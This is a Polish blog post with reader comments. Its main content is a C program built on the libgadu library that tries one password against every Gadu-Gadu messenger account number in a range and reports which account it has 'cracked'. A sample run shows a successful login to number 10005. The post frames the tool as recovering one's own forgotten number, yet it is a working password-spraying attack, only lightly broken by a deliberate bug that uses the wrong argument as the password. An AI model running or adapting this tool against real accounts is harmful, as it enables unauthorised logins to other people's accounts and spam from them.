Jasio chcąc napisać do Kasi anonimowe wyznanie miłosne na GG założył nowe konto z prostym hasłem do zapamiętania „jasio123„. Nasz Romeo napisał to co chciał. Następnego dnia w szkole dowiedział się, że Kasia jest bardzo szczęśliwa z powodu otrzymania tak miłej wiadomości. Dowiedział się także, że Kasia odpisała na ten numer, aby umówić się z tajemniczym wielbicielem.
Wszystko byłoby piękne, gdyby nie fakt, że Jasio zapomniał numeru z, którego wysłał wiadomość… Jako niepoprawny programista oraz hardkor postanowiłem pomóc Jasiowi i napisałem program, który nie łamie hasła, a numer GG!
Posiadamy takie informacje jak
- Hasło – jasio123
- Mniej-większy zakres liczbowy w, którym znajduje się numer – 10000/10010
I tyle w zupełności wystarczy, aby sprawdzić, czy jakiś numer z danego przedziału nie posiada zbyt słabego i oczywistego hasła. Zasada działania programu będzie więc całkiem prosta
- Pobieramy od użytkownika dwa (w sumie trzy) parametry. Hasło, numer początkowy i numer końcowy.
- W pętli for za wyrazenie_poczatkowe podstawiamy numer początkowy, a za wyrazenie_warunkowe – numer końcowy.
- Jeśli serwer nada nam sesje, czyli zaloguje nas to możemy się cieszyć. Nasze hasło pasuje do numeru z danego przedziału. Teraz możemy się nań zalogować 🙂
[codesyntax lang=”c”]
/* Program ma za zadanie testowac podany Przedzial numerow na podane haslo. Program powstal dla tych, Ktorzy pamietaja swoje haslo Do komunikatora, ale nie Pamietaja numeru, a Jedynie przedzial ;-) Zdarza sie takze, ze Zapominamy dwie ostatnie cyfry, Hasla do e-maila, aby Przypomniec haslo z serwera Takze zgubilismy :-) Autor: Komeniusz [Nie odpowiadam za uzycie tego programu!] Licencja: GNU - edukacyjna! Program testowano na: System: Ubuntu 9.10 Biblioteka: Libgadu 1.9.0-rc2 (wersja testowa) Download Libgadu: http://toxygen.net/libgadu/ Dokumentacja Libgadu: http://toxygen.net/libgadu/doc/ */ //Niezbędne biblioteki #include <unistd.h> //sleep #include <stdlib.h> //atoi #include <string.h> //memset #include "libgadu.h" //libgadu :-) int main(int argc, char **argv) { struct gg_session *sess; struct gg_event *e; struct gg_login_params p; /* Jesli chcemy wyswietlac informacje od serwera nalezy ustawic ta wartosc na 255 */ gg_debug_level = 255; /*****************************************/ /* Jesli podamy za malo parametrow wypluwamy info o bledzie i konczymy program */ if (argc < 4) { fprintf(stderr, "uzycie: %s <numer poczatkowy> <numer koncowy> <testowane haslo>n", argv[0]); return 1; } /* Deklarujemy testowany zakres */ int poczatek = atoi(argv[1]); int koniec = atoi(argv[2]); /* Jesli wprowadzimy bledne dane dotyczace zakresu wypluwamy info o bledzie i konczymy program */ if(poczatek>=koniec) { printf("Syntax Error n"); return 1; } /*****************************************/ /* Jazda ;D */ for(int numer=poczatek; numer<=koniec; ++numer) { //Zwalniamy pamiec memset(&p, 0, sizeof(p)); //Deklarujemy aktualnie testowany numer p.uin = numer; //Deklarujemy aktualnie testowane haslo, to samo co na poczatku p.password = argv[2]; /* Jesli haslo sie nie zgadza */ if (!(sess = gg_login(&p))) { /* Ponizsza linie mozna odkomentowac/zakomentowac, jesli chcemy wyswietlac informacje o numerach, ktore nie przeszly testu */ printf("Bashed: %d n -------------------- n", numer); /* Zwalnaimy pamiec */ gg_free_session(sess); } else { //Jesli zgadlismy haslo drukujemy nalezacy do niego numerek i zamykamy program //Potem mozna ruszyc od nowa od numeru, ktory zlamalismy :-) printf("^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^n"); printf(" >>> Cracked: ^ %d ^n -------------------- n", numer); printf(" >>> Cracked: ^ %d ^n -------------------- n", numer); printf(" >>> Cracked: ^ %d ^n -------------------- n", numer); printf(" >>> Cracked: ^ %d ^n -------------------- n", numer); printf(" >>> Cracked: ^ %d ^n -------------------- n", numer); printf("^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^n"); return 1; } /* Zwalniamy pamiec */ gg_logoff(sess); gg_free_session(sess); } return 0; //zakonczenie programu }
[/codesyntax]
Przykład działania programu
komeniusz@cyber-jadro:~/libgadu/examples$ gcc -o brut brut.c -lgadu -std=c99
komeniusz@cyber-jadro:~/libgadu/examples$ ./brut
uzycie: ./brut <numer poczatkowy> <numer koncowy> <testowane haslo>
komeniusz@cyber-jadro:~/libgadu/examples$ ./brut 10000 10010 jasio123
Bashed: 10000
——————–
Bashed: 10001
——————–
Bashed: 10002
——————–
Bashed: 10003
——————–
Bashed: 10004
——————–
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
>>> Cracked: ^ 10005 ^
——————–
>>> Cracked: ^ 10005 ^
——————–
>>> Cracked: ^ 10005 ^
——————–
>>> Cracked: ^ 10005 ^
——————–
>>> Cracked: ^ 10005 ^
——————–
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
komeniusz@cyber-jadro:~/libgadu/examples$
I proszę, numer Jasia to 10005 😉
UWAGA!
W programie zawarte jest zabezpieczenie anti script kiddie, aby ktoś, kto nie rozumie programu nie miał możliwości bezmyślnego SPIM’owania innych użytkowników.
//Zwalniamy pamiec
memset(&p, 0, sizeof(p));
Mała nieścisłość, tutaj „rezerwujesz” pamięć, a nie ją zwalnaisz :>
a nie przepraszam, wypełniasz zerami, ach, idę coś zjeść lepiej :]
No dobra, tylko przydało by się to chyba zabezpieczyć np. przy pomocy nawet jakiegoś banalnego proxy bo to chyba łamanie prawa jest?
Przypominanie swojego hasła nie jest łamaniem prawa 🙂